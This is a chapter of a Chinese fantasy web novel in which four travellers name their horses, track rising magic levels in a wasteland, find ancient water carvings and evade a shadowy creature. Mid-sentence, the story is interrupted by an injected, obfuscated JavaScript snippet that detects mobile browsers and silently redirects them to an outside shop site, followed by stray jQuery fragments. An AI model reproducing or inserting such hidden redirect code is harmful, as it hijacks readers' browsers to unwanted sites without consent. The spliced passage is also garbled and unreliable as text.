文趣网 > 其他小说 > 勇者之旅 > 32.第 32 章
    流栖灯走到白马旁边。白马正在吃燕麦,腮帮子一鼓一鼓的。“你叫——”她想了想,“你叫穗子。因为你的鬃毛编成小辫子,像麦穗。”白马抬起眼皮看了她一眼,继续吃燕麦。

    艾莉西亚从帐篷里钻出来,头发乱得惊人。灰马看到她,耳朵朝前竖了竖。艾莉西亚走过去拍了拍它的脖子。“它叫什么呢。”她想了很久,最后说:“它叫长腿。”流栖灯笑出了声,说这名字也太直了。艾莉西亚说它腿就是很长,叫别的配不上它。灰马低头看了看自己的腿,打了个响鼻,好像觉得这名字还行。

    格蕾塔从石头边走过来,手里提着灌满的水囊。“枣红马叫红栎。南部的山上长栎树,树皮的颜色和它的毛色一样。”

    四匹马都有名字了。阿灰,穗子,长腿,红栎。

    出发的时候流栖灯骑在穗子背上,把麻布摊在马鬃上画马的画像。阿灰的铁灰色皮毛和琥珀色眼睛,穗子编成麦穗的小辫子,长腿的四条长腿,红栎的枣红色脊背。每匹马旁边写了名字。画完她把麻布举起来给艾莉西亚看。艾莉西亚说长腿画得腿不够长,流栖灯就把腿改长了一截,改完之后长腿看起来像踩在高跷上。艾莉西亚说算了还是原来那样吧。两个人坐在马上隔着一小段距离,为一张画笑了一路。

    荒原的第二天,天空的颜色变了一点。

    变得不一样了。灰黄-色的天幕上出现了一层极淡的绿,那是一种发冷的、近乎金属的绿,像铜锈化在水里的颜色。绿意很淡,不盯着看发现不了,但一旦发现了就觉得到处都是。阳光透过这层淡绿色照下来,荒原上的砾石染上了一层青灰。

    艾莉西亚取出测魔符纸举在空气里。符纸变色很快——淡黄,橙黄,橙色,橙红,然后停在橙红和红色之间,颤颤地抖着不再加深。

    “六级半。”她把符纸收起来。“比哨站又高了。空气六级半,水源目前还是安全的,但地下的浓度一定更高。那头岩羊喝的水是地下渗出来的,它能活说明深层地下水还没有被污染到致命浓度。但它在荒原上生活了很久,可能有适应性。”

    “人没有这种适应性。”格蕾塔说。

    “没有。六级半的空气,我们最多待十天。十天之后必须离开,否则肺部会开始出现魔力沉积。”

    流栖灯骑在穗子背上听着,手指在麻布边缘轻轻摩挲。“十天。从这儿到封印要走几天。”

    “维奥拉说五天。我们走了快两天了。剩下三天左右。”玛丽玛丽的声音从前面传来。“到了封印,待不了多久就得往回走。”

    “那如果封印的修复需要很长时间呢。”

    没有人回答。穗子的马蹄踩在砾石上,沙沙的。阿灰在前面带路,耳朵转来转去。长腿和红栎跟在后面,蹄声连成一片细碎的节奏。

    中午她们在一块巨石的阴影下歇脚。石头大到能遮住四匹马和四个人,影子投在地上像一潭深色的水。石面上有刻痕,人工的,人凿子凿出来的线条,年代久远,边缘被风沙磨圆了,但图案还能辨认。是一个圆圈,圆圈里面画着波浪状的纹路。水。有人在这里刻了一个代表水的符号。

    “上古时期的人刻的。”玛丽玛丽的手指顺着刻痕的走势划了一遍。“荒原上曾经有过水源,不止现在这一处。修封印的法师们在沿途做了标记,后来的人可以循着标记找到水。只是大部分水源已经干涸了。石头缝里渗出来那处,是残存下来的。”

    流栖灯蹲在石刻前面看了很久。那个代表水的符号,几百年了还留在石头上。刻它的人大概不会知道,几百年后会有四个人蹲在这块石头下面,看着它,猜她当初刻它的时候在想什么。

    她从口袋里摸出炭条,在麻布上把那个符号描了下来。描得很仔细,波浪纹的每一道弯曲都尽量跟着原样走。描完她在旁边写了一行小字:“有人在这里刻过水。”

    下午她们遇到了第二群岩羊。

    不止一头,是五头。站在一片稍微隆起的砾石坡上,两大三小。最小的那头大概刚出生不久,腿还细得像枯枝,站在母羊旁边,脑袋钻在母羊肚子底下吃。它看到了她们,没有跑,只是把头转向她们的方向,琥珀色的眼睛在淡绿色的天光里亮着。

    两群活物在荒原上隔着三十步的距离互相看了一会儿,母羊低下头舔了舔小羊的耳朵。小羊吃完了奶,四条细腿撑着身体,歪歪扭扭地走了两步,摔了一跤,爬起来又走。

    流栖灯把这一幕画在麻布上。小羊摔跤的样子画了三笔——歪的身体,撑地的腿,扬起来的脑袋。画完之后她觉得三笔够了,再加就多了。

    傍晚她们在另一块刻着水符号的巨石下扎营。石头底下有人垒过灶的痕迹——烧黑的石头排成一圈,圈里是厚厚的灰烬,灰烬被风吹雨打过,结成了硬块,但圈形还在。很久以前有人在这块石头底下煮过东西。煮的是什么,不知道。煮完之后她们继续往北走了,还是往南回去了,也不知道。但灶留下来了。

    格蕾塔把灶重新垒了一遍,把烧黑的石头换了几个位置让锅架得更稳。火升起来,这次烧的不是哨站的干柴了——干柴只剩最后一小捆,留着后面用。她烧的是荒原上捡的一种干枯的灌木枝。灌木早就死了,枝干灰白,一折就断,但烧起来很经烧,火焰带着一点蓝绿色,大概是枝干里残留的矿物质在燃烧。锅里的水开了,她把最后一点咸肉切碎放进去,又把饼掰开泡进汤里。肉只剩这些了,饼也数得出数了。后面的路上,她们得靠这些走到封印。

    “明天开始汤里没有肉了。”格蕾塔把锅端下来。“饼还够。水够。”

    “够走到封印就行。”玛丽玛丽接过碗。“到了封印,再说回来的事。”

    流栖灯端着碗喝汤。没有肉的汤,饼泡在里面软软的,咸味来自煮化的最后一点肉末。她喝完一碗,把碗底剩下

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542934|203862||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的汤渣倒进嘴里。碗底有一小片没有完全化开的肉末,她用舌尖把它从碗壁上舔下来。

    “我原来世界的家里,冰箱里永远有吃的。”她把碗放在膝盖上。“冰箱,就是一个一直冷着的柜子,食物放进去不会坏。打开就有。从来不用想食物从哪里来。来了这里之后,每一顿饭我都知道是谁给的。贝丝烙的饼,老桑妮煮的鸡蛋,维奥拉从最后几桶水里分出来的水。”

    “还有黑马找到的水源。”艾莉西亚补充。

    “阿灰找到的水源。”流栖灯纠正道。

    篝火烧着蓝绿色的火焰,在淡绿色的天光下显得不那么突兀了。头顶的星星被灰白色和淡绿色混在一起的空气蒙着,比前几夜更模糊了。但流栖灯没有再看星星,她在麻布上画今天看到的第二群岩羊。五头,两大三小,小羊摔跤。画完她在旁边写了一行小字:“它们不怕我们。”

    第三天早晨出发的时候,阿灰又不肯走了。

    它在警觉。耳朵朝前竖着,脖子僵直,鼻孔张大,四蹄钉在地上。它看着的方向是北偏东,荒原上一片看起来和别处没有任何区别的砾石滩。穗子也停下来了,长腿也停下来了,红栎也停下来了。四匹马都看着同一个方向,耳朵全朝前竖着。

    玛丽玛丽顺着它们的视线看过去。砾石滩上什么都没有。灰白色的石头,灰白色的沙土,淡绿色的天光。但她相信马。在荒原上,马的眼睛比人的眼睛好用。

    “绕过去。”她拨转马头往西偏。

    队伍绕了一个大弧线,从砾石滩的西侧边缘切过去。绕到一半的时候,流栖灯回头看了一眼——那片砾石滩上,有什么东西在动。不是动物,不是人,是她见过一次的那种东西。一片比周围颜色更深的暗影,在砾石之间缓缓移动,没有形状,没有轮廓,贴在地面上像一滩流泄的浓汁。它移动的时候,经过的砾石表面会短暂地失去颜色,变成一种说不上来的灰,然后慢慢恢复。像被什么东西舔了一下。

    流栖灯把头转回去,看着前面的路。手在缰绳上握紧了一下,然后松开。

    “我看到了。”她说,声音不大。

    “我也看到了。”艾莉西亚的声音从后面传来,比平时高了一点。

    “不要看它。走。”玛丽玛丽的声音从最前面传来,稳的。

    四匹马绕过砾石滩,重新回到往北的方向。走出很远之后,阿灰的耳朵才慢慢放下来,步子恢复了正常。穗子打了个响鼻,长腿甩了甩尾巴。红栎走在最后面,不时回头看一眼,然后跟上队伍。

    中午她们没有停。玛丽玛丽说今天多走一些,争取提早到封印。马匹受惊之后需要走路来消耗掉身体里积攒的紧张,停下来反而不好。四个人在马背上吃了干饼,就着水囊喝水。饼在嘴里干嚼,嚼久了腮帮子酸。流栖灯嚼着饼想起格蕾塔在盐碱地上嚼干饼的样子——那时候她一个人,现在她们四个人。